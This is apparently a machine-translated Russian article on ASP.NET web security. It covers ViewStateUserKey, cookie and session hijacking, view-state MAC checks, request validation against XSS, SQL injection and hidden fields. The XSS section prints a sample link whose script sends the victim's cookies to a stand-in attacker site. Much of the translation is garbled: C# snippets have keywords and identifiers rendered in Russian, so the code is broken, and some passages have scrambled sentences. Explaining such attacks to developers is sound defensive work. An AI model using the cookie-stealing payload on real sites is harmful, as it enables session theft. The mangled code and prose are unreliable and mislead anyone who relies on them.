Что всегда должны делать разработчики ASP.NET Если вы читаете эту статью, вам, вероятно, не нужно убеждаться в том, что безопасность веб-приложений становится все более важной. Вероятно, вам нужны практические советы о том, как обеспечить безопасность в вашем приложении ASP.NET. Плохая новость заключается в том, что ни одна платформа разработки, включая ASP.NET, не может гарантировать, что после ее внедрения вы сможете писать на 100% безопасный код. Тот, кто так говорит, должно быть, лжет. Хорошей новостью является то, что в случае ASP.NET ASP.NET, особенно версия 1.1 и будущая версия 2.0, включает в себя некоторые встроенные средства защиты, которые просты в использовании.
Одного применения всех этих функций недостаточно для защиты веб-приложения от всех возможных и предсказуемых атак. Однако в сочетании с другими методами защиты и стратегиями безопасности встроенные функции ASP.NET могут сформировать мощный набор инструментов, помогающий гарантировать работу приложений в безопасной среде.
Веб-безопасность представляет собой сумму многих факторов и является результатом стратегии, которая выходит далеко за рамки одного приложения и включает в себя управление базами данных, настройку сети, социальную инженерию и фишинг.
Цель этой статьи — объяснить, что всегда должны делать разработчики ASP.NET для поддержания стандартов безопасности на разумном уровне. В этом и заключается безопасность: сохранять бдительность и никогда полностью не терять бдительность, что усложняет взлом злоумышленникам.
Давайте посмотрим, какие возможности ASP.NET предоставляет для упрощения этой работы.
В начало Источники угроз В таблице 1 я суммировал наиболее распространенные типы веб-атак, а также недостатки приложений, которые могут позволить этим атакам добиться успеха.
Возможные виновники атак Межсайтовый скриптинг (XSS)
Недоверенный пользовательский ввод отображается на странице.
SQL-инъекция. Объединенный пользовательский ввод для формирования SQL-команды.
Перехват сеанса. Идентификатор сеанса. Угаданный и украденный идентификатор сеанса. Файлы cookie.
Ненаблюдаемый HTTP-запрос одним щелчком мыши, отправленный через сценарий. Публикация
скрытого вмешательства в домен. Непроверенные (и доверенные) скрытые поля заполняются конфиденциальными данными. данные
Каковы ключевые факты, которые следует из этого списка
распространенных веб-атак
?По моему мнению, есть как минимум три вещи:
• Всякий раз, когда вы вставляете какой-либо пользовательский ввод в разметку браузера, вы потенциально подвергаете себя атакам путем внедрения кода (любые SQL-инъекции и варианты XSS).
• Доступ к базе данных должен быть реализован безопасным способом, то есть с использованием как можно меньшего количества разрешений для базы данных и разделения обязанностей отдельных пользователей по ролям.
• Конфиденциальные данные ни в коем случае не следует отправлять по сети (не говоря уже о том, что они находятся в открытом виде) и должны храниться на сервере безопасным способом.
Интересно, что приведенные выше три пункта соответственно нацелены на три различных аспекта веб-безопасности, и комбинация этих трех аспектов является единственным разумным способом создания защищенных от атак и несанкционированного доступа приложений. Различные уровни веб-безопасности можно резюмировать следующим образом:
• Практика кодирования: проверка данных, проверка типа и длины буфера, меры защиты от несанкционированного доступа
• Политики доступа к данным: используйте решения для защиты самых слабых учетных записей, используйте хранимые процедуры или, по крайней мере, параметризацию. команда.
• Эффективное хранение и управление: не отправляйте важные данные клиенту, используйте хэш-коды для обнаружения операций, аутентификации пользователей и защиты личных данных, применяйте строгие политики паролей.
Как видите, безопасные приложения можно создать только совместными усилиями разработчиков, архитекторов и администраторов. Пожалуйста, не думайте, что вы можете достичь той же цели каким-либо другим способом.
Когда вы пишете приложение ASP.NET, вы не одиноки против армии хакеров: вашим единственным оружием являются строки кода, которые вы печатаете своим мозгом, своими навыками и пальцами. ASP.NET 1.1 и более поздние версии приходят на помощь благодаря специальным функциям, которые автоматически повышают вашу защиту от некоторых из перечисленных выше угроз. Ниже мы рассмотрим их подробно.
ViewStateUserKey
ViewStateUserKey, представленный начиная с ASP.NET 1.1, представляет собой строковое свойство класса Page, с которым действительно знакомы лишь немногие разработчики. Почему? Посмотрим, что говорит документация.
присвоения идентификатора отдельному пользователю в переменной состояния просмотра, связанной с текущей страницей
, смысл этого предложения довольно ясен, но можете ли вы честно сказать мне, что оно описывает исходное назначение свойства? Чтобы понять роль ViewStateUserKey, вам необходимо продолжить чтение до раздела «Примечания».
Это свойство помогает предотвратить атаки одним щелчком мыши, поскольку оно предоставляет дополнительные входные данные для создания хэша, который предотвращает подделку состояния просмотра. Другими словами, ViewStateUserKey значительно усложняет хакерам использование содержимого состояния просмотра клиента для подготовки вредоносных сообщений на сайте. Этому свойству может быть присвоена любая непустая строка, но предпочтительно это идентификатор сеанса или идентификатор пользователя. Чтобы лучше понять важность этого свойства, давайте кратко представим основы атак в один клик.
Атака одним щелчком мыши предполагает размещение вредоносной HTTP-формы на известном уязвимом веб-сайте. Это называется «одним щелчком мыши», потому что часто начинается с того, что жертва случайно нажимает на заманчивую ссылку, которую находит по электронной почте или во время просмотра переполненного форума. Щелкнув ссылку, пользователь случайно запустил удаленный процесс, который в конечном итоге привел к отправке на сайт вредоносной <form>. Давайте будем честными: можете ли вы сказать мне, что никогда не нажимали на ссылку типа «Нажмите здесь, чтобы выиграть 1 000 000 долларов» из любопытства? Очевидно, с вами ничего плохого не случилось. Давайте предположим, что это так; можете ли вы сказать, что все остальные члены веб-сообщества выжили? Кто знает.
Для успеха атаки одним щелчком мыши необходимы определенные условия:
• Злоумышленник должен обладать достаточными знаниями об уязвимом сайте. Это возможно потому, что злоумышленник мог «усердно» изучить файл, либо он/она является разгневанным инсайдером (например, сотрудником, которого уволили за недобросовестность). Поэтому последствия такой атаки могут быть крайне серьезными.
• Сайт должен использовать файлы cookie (лучше постоянные файлы cookie) для обеспечения единого входа, и злоумышленник получил действительный файл cookie аутентификации.
• Некоторые пользователи сайта участвуют в конфиденциальных транзакциях.
• Злоумышленник должен иметь доступ к целевой странице.
Как упоминалось ранее, атака включает отправку вредоносной HTTP-формы на страницу, которая ожидает ее. Можно предположить, что эта страница будет использовать опубликованные данные для выполнения некоторых конфиденциальных операций. Как вы можете себе представить, злоумышленник точно знает, как использовать каждый домен, и может придумать несколько поддельных значений для достижения своих целей. Обычно это атака, ориентированная на конкретную цель, и ее трудно отследить из-за создаваемой ею треугольной связи, то есть хакер обманом заставляет жертву щелкнуть ссылку на хакерском сайте, что, в свою очередь, приводит к публикации вредоносного кода на третья сторона. Три сайта.
Почему ничего не подозревающая жертва? Это связано с тем, что в данном случае IP-адрес, с которого вредоносный запрос появляется в журналах сервера, является IP-адресом жертвы. Как упоминалось ранее, этот инструмент не так распространен (и прост в запуске), как «классический» XSS, однако его природа означает, что его последствия могут быть катастрофическими; Как с этим справиться? Далее мы рассмотрим, как эта атака работает в среде ASP.NET.
Если действие не закодировано в событии Page_Load, страница ASP.NET просто не сможет выполнить конфиденциальный код вне события обратной передачи. Для возникновения события обратной передачи необходимо поле состояния просмотра. Имейте в виду, что ASP.NET проверяет статус обратной передачи запроса и, в зависимости от присутствия поля ввода _VIEWSTATE, соответствующим образом устанавливает IsPostBack. Следовательно, тот, кто хочет отправить поддельный запрос на страницу ASP.NET, должен предоставить допустимое поле состояния просмотра.
Чтобы атака одним кликом увенчалась успехом, хакер должен иметь доступ к странице. В этот момент дальновидный хакер сохранит страницу локально. Таким образом, он/она может получить доступ к полю _VIEWSTATE и использовать это поле для создания запросов со старым состоянием просмотра и вредоносными значениями из других полей. Вопрос в том, сработает ли это?
Почему нет? Если злоумышленник может предоставить действительный файл cookie аутентификации, он получит доступ, и запрос будет обработан как обычно. Содержимое состояния просмотра вообще не проверяется на сервере (когда EnableViewStataMac выключен) или только в том случае, если оно было изменено. По умолчанию в состоянии просмотра нет механизма, позволяющего связать этот контент с конкретным пользователем. Злоумышленник может легко повторно использовать полученное состояние просмотра для легального доступа к странице, выдавая себя за другого пользователя и создавая поддельные запросы. Здесь на помощь приходит ViewStateUserKey.
Если выбрано правильно, это свойство может добавлять информацию, специфичную для пользователя, в состояние просмотра. При обработке запроса ASP.NET извлекает ключ из состояния просмотра и сравнивает его с ViewStateUserKey работающей страницы. Если они совпадают, запрос будет считаться законным; в противном случае будет выдано исключение; Какие значения действительны для этого атрибута?
Установка ViewStateUserKey постоянной строки для всех пользователей эквивалентна тому, чтобы оставить ее пустой. Вы должны установить для него значение, разное для каждого пользователя — идентификатор пользователя, предпочтительно идентификатор сеанса. По некоторым техническим и социальным причинам идентификаторы сеансов являются более подходящими, поскольку идентификаторы сеансов непредсказуемы, истекают с течением времени и различны для каждого пользователя.
Вот код, который необходим на всех ваших страницах:
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
Чтобы избежать повторного написания этого кода, вы можете закрепить его в виртуальном методе OnInit класса, производного от Page. (Обратите внимание, что это свойство необходимо установить в событии Page.Init.)
protected override OnInit(EventArgs e) {
base.OnInit(е);
ViewStateUserKey = Session.SessionID;
}
В общем, использование базовых классов страниц — это всегда хорошо, как я объяснял в статье «Создавайте страницы ASP.NET на более богатой основе». Если вы хотите узнать больше о тактике, используемой злоумышленниками в один клик, вы можете найти очень хорошую статью на aspnetpro.com.
Файлы cookie и аутентификация
Файлы cookie существуют, потому что они помогают разработчикам достичь определенной цели. Файлы cookie действуют как постоянная связь между браузером и сервером. Украденные файлы cookie делают возможными атаки, особенно в приложениях, использующих единый вход. Это абсолютно верно для атаки в один клик.
Чтобы использовать файлы cookie, вам не нужно явно создавать и читать их программным способом. Если вы используете состояние сеанса и реализуете аутентификацию с помощью форм, вы неявно используете файлы cookie. Конечно, ASP.NET поддерживает состояние сеанса без файлов cookie, а ASP.NET 2.0 также представляет аутентификацию с использованием форм без файлов cookie. Таким образом, теоретически вы можете использовать эти функции без файлов cookie. Я не говорю, что вам больше не нужно этого делать, но факт в том, что это одна из тех ситуаций, когда лекарство хуже болезни. Сеанс без файлов cookie фактически встраивает идентификатор сеанса в URL-адрес, чтобы каждый мог его увидеть.
Каковы потенциальные проблемы, связанные с использованием файлов cookie? Файлы cookie могут быть украдены (т. е. скопированы на компьютер хакера) и отравлены (т. е. заполнены вредоносными данными). Эти действия часто являются прелюдией к предстоящему нападению. В случае кражи файл cookie «разрешает» внешним пользователям подключаться к приложению (и использовать защищенные страницы) от вашего имени, что потенциально позволяет хакеру легко обойти авторизацию и получить возможность делать то, что позволяют жертве роль и настройки безопасности. любая операция. Таким образом, файлы cookie аутентификации обычно имеют относительно короткий срок действия — 30 минут. (Обратите внимание, что даже если сеанс браузера занимает больше времени, срок действия файла cookie все равно истечет.) В случае кражи у хакеров есть 30-минутное окно для попытки атаки.
Вы можете увеличить этот срок, чтобы пользователям не приходилось слишком часто входить в систему, но помните, что при этом вы подвергаете себя риску; Ни при каких обстоятельствах следует избегать использования постоянных файлов cookie ASP.NET. В результате будут созданы файлы cookie с практически постоянным сроком службы до 50 лет! Следующий фрагмент кода демонстрирует, как легко изменить дату истечения срока действия файла cookie.
void OnLogin (отправитель объекта, EventArgs e) {
// Проверка учетных данных
если (ValidateUser (пользователь, pswd)) {
// Устанавливаем дату истечения срока действия куки
Файл cookie HttpCookie;
cookie = FormsAuthentication.GetAuthCookie(пользователь, isPersistent);
если (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
//Добавляем куки в ответ
Response.Cookies.Add(cookie);
//Перенаправление
строка targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(пользователь, isPersistent);
Response.Redirect(targetUrl);
}
}
Вы можете использовать этот код в форме входа, чтобы точно настроить срок действия файла cookie аутентификации.
перехват сеанса
Файлы cookie также используются для получения состояния сеанса конкретного пользователя. Идентификатор сеанса хранится в файле cookie, который пересылается вместе с запросом и сохраняется на компьютере браузера. Аналогично, в случае кражи файл cookie сеанса может быть использован для того, чтобы позволить хакеру проникнуть в систему и получить доступ к состоянию чужого сеанса. Само собой, это возможно до тех пор, пока активна указанная сессия (обычно не более 20 минут). Атака через имитацию состояния сеанса называется перехватом сеанса. Для получения дополнительной информации о перехвате сеанса прочтите статью «Кража в Интернете: предотвращение перехвата сеанса».
Насколько опасна эта атака? Трудно сказать. Это зависит от функциональности веб-сайта и, что более важно, от дизайна его страниц. Например, предположим, что вам удалось получить чужой файл cookie сеанса и прикрепить его к запросу страницы на вашем сайте. Вы загружаете страницу и проходите через ее обычный пользовательский интерфейс. Вы не можете внедрить какой-либо код на страницу или что-либо изменить на странице, за исключением того, что страница работает, используя состояние сеанса другого пользователя. Само по себе это не так уж и плохо, но если информация в этом сеансе является конфиденциальной и критической, это может привести непосредственно к успешному использованию эксплойта. Хакер не может проникнуть в содержимое хранилища сессий, но может использовать хранящуюся там информацию так, как если бы он проник в нее легально. Например, рассмотрим приложение электронной коммерции, в котором пользователи добавляют товары в свои корзины покупок во время просмотра сайта.
• Вариант 1. Содержимое корзины покупок сохраняется в состоянии сеанса. Однако во время оформления заказа пользователям предлагается подтвердить и ввести данные платежа через безопасное соединение SSL. В этом случае, получив доступ к состоянию сеанса других пользователей, хакер может узнать лишь некоторые подробности о покупательских предпочтениях жертвы. Угон в этой среде фактически не причиняет никакого ущерба. На карту поставлена конфиденциальность.
• Вариант 2. Приложение обрабатывает один профиль для каждого зарегистрированного пользователя и сохраняет профиль в состоянии сеанса. Хуже того, профиль (вероятно) включает информацию о кредитной карте. Почему данные профиля сохраняются в сеансе? Возможно, одна из целей приложения — по существу избавить пользователей от необходимости повторно вводить данные своей кредитной карты и банковские данные. Поэтому при оформлении заказа приложение направляет пользователя на страницу с заранее заполненным доменом. Излишне одно из этих полей — это номер кредитной карты, полученный из состояния сеанса. Сможете ли вы теперь догадаться, чем закончится история?
Дизайн страниц приложений является ключом к предотвращению атак перехвата сеанса. Конечно, есть еще два момента, которые не выяснены. Первый вопрос: как предотвратить кражу файлов cookie? Второй вопрос: как ASP.NET может обнаружить и предотвратить перехват данных?
Файлы cookie сеанса ASP.NET чрезвычайно просты и ограничиваются содержанием самой строки идентификатора сеанса. Среда выполнения ASP.NET извлекает идентификатор сеанса из файла cookie и сравнивает его с активным сеансом. Если идентификатор действителен, ASP.NET подключится к соответствующему сеансу и продолжит работу. Такое поведение значительно облегчает хакерам, которые украли или могут угадать действительный идентификатор сеанса.
XSS и атаки «человек посередине», а также грубый доступ к клиентскому ПК — все это способы получения действительных файлов cookie. Чтобы предотвратить кражу, вам следует внедрить лучшие практики безопасности, чтобы предотвратить успех XSS и его вариантов.
И чтобы предотвратить угадывание идентификатора сеанса, вам следует просто избегать переоценки своих навыков. Угадывание идентификатора сеанса означает, что вы знаете, как предсказать действительную строку идентификатора сеанса. Для алгоритма, используемого ASP.NET (15 случайных чисел, сопоставленных с символами URL-адреса), вероятность случайного угадывания действительного идентификатора близка к нулю. Я не могу придумать никакой причины для замены генератора идентификаторов сеансов по умолчанию на ваш собственный. Во многих случаях это только облегчит задачу злоумышленнику.
Худшим последствием перехвата сеанса является то, что после кражи или угадывания файла cookie ASP.NET не имеет возможности обнаружить мошенническое использование файлов cookie. Опять же, причина в том, что ASP.NET ограничивается проверкой действительности идентификатора и происхождения файла cookie.
Мой друг Джефф Проуз из Wintellect написал хорошую статью о перехвате сеанса для журнала MSDN Magazine. Его вывод неутешительный: практически невозможно создать защиту, которая могла бы полностью защитить от атак, основанных на украденных файлах cookie идентификатора сеанса. Но разработанный им код содержит очень разумные предложения по дальнейшему совершенствованию стандартов безопасности. Джефф создал HTTP-модуль, который отслеживает входящие запросы и исходящие ответы на наличие файлов cookie идентификатора сеанса. Этот модуль добавляет хэш-код к идентификатору сеанса, что затрудняет повторное использование файла cookie злоумышленником. Подробности можно прочитать здесь.
Енаблевиевстатемак
Состояние просмотра используется для поддержания состояния элемента управления между двумя последовательными запросами одной и той же страницы. По умолчанию состояние просмотра закодировано в Base64 и подписано хешем для предотвращения подделки. Невозможно изменить состояние просмотра без изменения настроек страницы по умолчанию. Если злоумышленник изменит состояние представления или даже восстановит состояние представления, используя правильный алгоритм, ASP.NET перехватит эти попытки и выдаст исключение. Изменение состояния просмотра не обязательно вредно, хотя и изменяет состояние элементов управления сервером, но может стать средством серьезного заражения. Поэтому крайне важно не удалять перекрестную проверку кода проверки подлинности компьютера (MAC), которая происходит по умолчанию.
Когда проверка MAC включена (по умолчанию), к сериализованному состоянию просмотра добавляется хеш-значение, которое генерируется с использованием некоторого значения на стороне сервера и секретного кода пользователя состояния просмотра (если таковой имеется). Когда состояние просмотра отправляется обратно, хэш пересчитывается с использованием нового значения на стороне сервера и сравнивается с сохраненным значением. Если они совпадают, запрос разрешен; в противном случае выдается исключение. Даже если предположить, что у хакера есть возможность взломать и восстановить состояние просмотра, ему все равно потребуется знать значение, хранящееся на сервере, чтобы получить действительный хэш. В частности, хакеру необходимо знать ключ компьютера, указанный в записи <machineKey> файла Machine.config.
По умолчанию записи создаются автоматически и физически сохраняются в локальном органе безопасности Windows (LSA). Только в случае веб-фермы, где машинный ключ для состояния просмотра должен быть одинаковым на всех машинах, следует указать его в виде открытого текста в файле Machine.config.
Проверка MAC состояния просмотра контролируется с помощью атрибута директивы @Page с именем EnableViewStateMac. Как упоминалось ранее, по умолчанию для него установлено значение true. Пожалуйста, никогда не отключайте эту функцию; это сделает возможной атаку одним щелчком мыши на подделку состояния просмотра с высокой вероятностью успеха.
Валидироватьзапрос
Межсайтовый скриптинг (XSS) — старый друг многих опытных веб-разработчиков, существующий с 1999 года. Проще говоря, XSS использует уязвимости в коде, чтобы внедрить исполняемый код хакера в сеанс браузера другого пользователя. В случае выполнения внедренный код может выполнить ряд различных действий — получить файл cookie и загрузить копию на контролируемый хакерами веб-сайт, отслеживать веб-сессию пользователя и пересылать данные, изменять поведение и внешний вид взломанной страницы так, чтобы она Предоставляйте ложную информацию или даже будьте настойчивы, чтобы в следующий раз, когда пользователь вернется на страницу, обманчивый код запустился снова. Подробнее об основах XSS-атак читайте в статье TechNet «Обзор межсайтовых сценариев».
Какие уязвимости в коде делают возможными XSS-атаки?
XSS использует веб-приложения, которые динамически генерируют HTML-страницы, но не проверяют входные данные, возвращаемые на страницу. Ввод здесь относится к строкам запроса, файлам cookie и содержимому полей формы. Если этот контент появляется в Интернете без надлежащей проверки производительности, существует риск того, что хакеры смогут манипулировать им для выполнения вредоносных сценариев в клиентских браузерах. (Атака одним щелчком мыши, упомянутая ранее, на самом деле является недавним вариантом XSS.) Типичная атака XSS заставляет ничего не подозревающего пользователя щелкнуть заманчивую ссылку, в которой скрыт код сценария, встроенный в ссылку. Обманчивый код будет отправлен на уязвимую страницу, которая выведет его без подозрений. Вот пример того, что может произойти:
<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
＜/script>">Нажмите, чтобы получить свой приз＜/a>
Пользователь нажимает на кажущуюся безопасную ссылку, что в конечном итоге приводит к передаче некоторого кода сценария на уязвимую страницу. Эти коды сначала получают все файлы cookie на компьютере пользователя. Они затем отправляется на веб-сайт хакера.
Важно отметить, что XSS не является проблемой конкретного поставщика, поэтому он не обязательно затрагивает все веб-серверы и браузеры, имеющиеся в настоящее время на рынке. Следует отметить, что ни один патч не может это исправить.
Проблема. Вы можете полностью защитить свои страницы от XSS-атак, применив определенные меры и разумные методы кодирования.Также
обратите внимание, что злоумышленникам не нужно этого делать, щелкнув ссылку.
определить, какие входные данные являются действительными, а затем запретить все остальные входные данные. Подробный контрольный список для защиты от XSS-атак можно прочитать в этой книге Майкла Ховарда и Дэвида Леблана, которую необходимо прочитать на сайте Microsoft — Write Secure Code. что вы прочитали главу 13.
Основной способ предотвратить коварные XSS-атаки — это подать входные данные (любой тип входных данных). Добавьте хорошо продуманный и эффективный уровень проверки, например,
в
некоторых случаях даже безобидные цвета (RGB). tricolor) переносил неконтролируемые скрипты непосредственно на страницу.При включении атрибута ValidateRequest в директиве @Page выполняется проверка, чтобы убедиться, что пользователь не отправил потенциально опасные HTML-теги в строку запроса, файлы cookie или поля формы. Если это обнаружено, возникает исключение и запрос прерывается. Этот атрибут включен по умолчанию. Вам не нужно ничего делать для защиты. Если вы хотите разрешить передачу HTML-тегов, вы должны активно отключить его. атрибут.
<%@ Page ValidateRequest="false" %>
ValidateRequest не является панацеей и не заменяет действительный уровень проверки. Здесь вы найдете много ценной информации об основных принципах этой функции. вредоносные последовательности, применяя регулярное выражение.
ПРИМЕЧАНИЕ. Функция ValidateRequest по своей сути содержит ошибки, поэтому вам необходимо применить исправление, чтобы она работала должным образом. Как ни странно, я обнаружил, что одна из моих машин все еще подвержена этой ошибке
без какого-либо закрытия. ValidateRequest ! Причины. Вы можете отключить его, но у вас должна быть очень веская причина; одна из таких причин может заключаться в том, что пользователям необходимо иметь возможность размещать на сайте некоторые HTML-коды, чтобы получить лучшие параметры форматирования. В этом случае вам следует ограничить количество разрешенных тегов HTML (<pre>, <b>, <i>, <p>, <br>, <hr>) и написать регулярное выражение, чтобы гарантировать, что ничего больше не будет разрешено. или принято.
Вот несколько дополнительных советов, которые помогут защитить ASP.NET от XSS-атак:
• Используйте HttpUtility.HtmlEncode для преобразования опасных символов в их HTML-представления.
• Используйте двойные кавычки вместо одинарных, поскольку кодировка HTML позволяет избежать только двойных кавычек.
• Принудительно использовать кодовую страницу, чтобы ограничить количество символов, которые можно использовать.
Короче говоря, используйте, но не полностью доверяйте свойству ValidateRequest и не ленитесь. Уделите время фундаментальному пониманию таких угроз безопасности, как XSS, и спланируйте стратегию защиты, основанную на одном ключевом моменте: любой ввод данных пользователем опасен.
Перспектива базы данных
SQL-инъекция — еще один широко известный тип атаки, в которой используются приложения, использующие несанкционированный пользовательский ввод для формирования команд базы данных. Если приложение с радостью использует то, что пользователь вводит в поле формы, для создания командной строки SQL, оно подвергает вас риску того, что злонамеренный пользователь может изменить характер запроса, просто посетив страницу и введя мошеннические параметры. Подробнее о SQL-инъекции можно узнать здесь.
Существует множество способов предотвратить атаки с использованием SQL-инъекций. Ниже описаны наиболее распространенные методы.
• Убедитесь, что вводимые пользователем данные имеют соответствующий тип и соответствуют ожидаемому шаблону (почтовый индекс, идентификационный номер, адрес электронной почты и т. д.). Если ожидается число из текстового поля, заблокируйте запрос, когда пользователь вводит что-то, что невозможно преобразовать в число.
• Используйте параметризованные запросы, предпочтительно хранимые процедуры.
• Используйте разрешения SQL Server, чтобы ограничить действия отдельных пользователей с базой данных. Например, вам может потребоваться отключить xp_cmdshell или разрешить эту операцию только администраторам.
Если вы используете хранимые процедуры, вы можете значительно снизить вероятность этой атаки. Фактически, при использовании хранимых процедур вам не нужно динамически составлять строки SQL. Кроме того, SQL Server проверит, что все параметры имеют указанный тип. Хотя сами по себе эти методы не являются на 100% безопасными, в сочетании с проверкой их будет достаточно для повышения безопасности.
Что еще более важно, вы должны гарантировать, что только авторизованные пользователи могут выполнять операции, которые могут иметь серьезные последствия, например удаление таблицы. Это требует тщательного проектирования среднего уровня приложения. Хорошая техника (не только ради безопасности) — сосредоточить внимание на персонаже. Пользователи должны быть сгруппированы по ролям, а учетная запись должна быть определена с минимальным набором разрешений для каждой роли.
Несколько недель назад веб-сайт Wintellect подвергся очень сложной атаке с помощью SQL-инъекций. Хакер попытался создать и запустить FTP-скрипт для загрузки потенциально вредоносной исполняемой программы. К счастью, атака не удалась. Или на самом деле атака провалилась из-за строгой аутентификации пользователей, использования хранимых процедур и разрешений SQL Server?
Подводя итог, вам следует следовать этим рекомендациям, чтобы избежать внедрения вредоносного кода SQL:
• Запускайте с как можно меньшим количеством привилегий и никогда не выполняйте код как «sa».
• Ограничить доступ к встроенным хранимым процедурам.
• Предпочитайте использование параметризованных запросов SQL.
• Операторы не генерируются путем объединения строк, и ошибки базы данных не отображаются.
В начало Скрытые поля В традиционном ASP скрытые поля были единственным способом сохранения данных между запросами. Любые данные, которые вам необходимо получить при следующем запросе, упаковываются в скрытое поле <input>, и выполняется обратный проход. Что произойдет, если кто-то изменит значение, хранящееся в этом поле на клиенте? Пока текст понятен, серверная среда не может его обнаружить. В ASP.NET свойство ViewState страниц и отдельных элементов управления служит двум целям. С одной стороны, ViewState — это способ сохранения состояния во всех запросах; с другой стороны, ViewState позволяет хранить пользовательские значения в скрытых полях, которые защищены и не могут быть легко подделаны.
Как показано на рисунке 2, к состоянию просмотра добавляется хэш-значение, и для каждого запроса это значение проверяется, чтобы обнаружить, произошло ли вмешательство. За исключением нескольких случаев, нет смысла использовать скрытые поля в ASP.NET. Состояние просмотра обеспечивает ту же функциональность гораздо более безопасным способом. Как уже упоминалось, хранение конфиденциальных значений (таких как цены или данные кредитной карты) в скрытых полях в открытом виде открывает дверь хакерам для состояния просмотра; механизм защиты данных. Однако имейте в виду, что состояние просмотра защищено от несанкционированного доступа, но конфиденциальность не гарантируется, если не используется шифрование — данные кредитной карты, хранящиеся в состоянии просмотра, в любом случае находятся под угрозой.
Когда в ASP.NET допустимо использовать скрытые поля? Когда вы создаете пользовательский элемент управления, который должен отправлять данные обратно на сервер. Например, предположим, что вы хотите создать новый элемент управления DataGrid, поддерживающий изменение порядка столбцов. Вам необходимо отправить новый заказ обратно на сервер в постбэке. Если не хранить эту информацию в скрытом поле, где ее можно хранить?
Если скрытое поле является полем для чтения/записи, т. е. ожидается, что клиент будет писать в него, полностью предотвратить хакерскую атаку невозможно. Вы можете попробовать хешировать или зашифровать текст, но это не дает вам разумной уверенности в том, что он не будет взломан. На этом этапе лучшая защита — это наличие в скрытом поле инертной и безвредной информации.
Кроме того, следует отметить, что ASP.NET предоставляет малоизвестный класс, который можно использовать для кодирования и хэширования любого сериализованного объекта. Этот класс — LosFormatter, тот же класс, который ViewState реализует для создания закодированного текста обратно клиенту.
частная строка EncodeText (текст строки) {
Автор StringWriter = новый StringWriter();
Средство форматирования LosFormatter = новый LosFormatter();
formatter.Serialize(писатель, текст);
вернуть писатель.ToString();
}
Предыдущий фрагмент кода демонстрирует, как использовать LosFormatter для создания чего-то вроде состояния представления, его кодирования и хеширования.
Электронная почта и спам В конце этой статьи позвольте мне отметить, что по крайней мере две из наиболее распространенных атак (классический XSS и атака в один клик) обычно осуществляются путем побуждения ничего не подозревающих жертв нажать на заманчивую и обманчивую ссылку, инициированную ссылкой. Часто мы можем найти такие ссылки в нашем почтовом ящике, несмотря на антиспам-фильтры. Вы можете купить много адресов электронной почты за несколько долларов. Одним из основных методов, используемых для создания таких списков, является сканирование общедоступных страниц веб-сайта с целью поиска и получения чего-либо, похожего на сообщение электронной почты.
Если на странице отображается адрес электронной почты, вполне вероятно, что рано или поздно этот адрес будет захвачен автоматической веб-программой. Действительно? Конечно, это зависит от того, как отображается электронное письмо. Если вы жестко запрограммируете его, вы проиграете. Неясно, сможет ли другое представление, такое как dino-at-microsoft-dot-com, обмануть автоматизированные веб-программы, но оно определенно вызовет недовольство любого, кто читает вашу страницу, и рассердит законное соединение.
В общем, вам следует определить способ динамического создания сообщений электронной почты в виде ссылок mailto. Бесплатный компонент, написанный Марко Беллинасо, делает именно это. Полный исходный код этого компонента можно получить на веб-сайте DotNet2TheMax.
Резюме Кто-нибудь подозревает, что Интернет может быть самой враждебной из всех сред выполнения? Основная причина заключается в том, что любой может получить доступ к веб-сайту и попытаться передать на него хорошие или плохие данные. Но какой смысл создавать веб-приложение, которое не принимает вводимые пользователем данные?
Давайте посмотрим правде в глаза: независимо от того, насколько мощным является ваш брандмауэр, независимо от того, как часто вы применяете доступные исправления, пока вы используете веб-приложение, содержащее присущие ему недостатки, рано или поздно злоумышленник сможет получить прямой доступ к основному каналу. это порт 80. Доберитесь до сердца вашей системы.
Приложения ASP.NET не более уязвимы и не более безопасны, чем другие веб-приложения. Безопасность и уязвимости в равной степени коренятся в методах кодирования, реальном опыте и командной работе. Если сеть небезопасна, то ни одно приложение не является безопасным; независимо от того, насколько безопасной и хорошо управляемой является сеть, если приложение имеет дефекты, злоумышленники всегда смогут получить доступ.
Преимущество ASP.NET заключается в том, что он предоставляет несколько хороших инструментов, которые при небольшой работе могут поднять стандарты безопасности до приемлемого уровня. Конечно, это недостаточно высокий уровень. Не следует полагаться исключительно на встроенные решения ASP.NET и не следует их игнорировать. Узнайте как можно больше о распространенных атаках.
В этой статье представлен аннотированный список встроенных функций, а также некоторая информация об атаках и защите. Техники, используемые для обнаружения исходящих атак, — это отдельная тема, и они, вероятно, заслуживают отдельной статьи.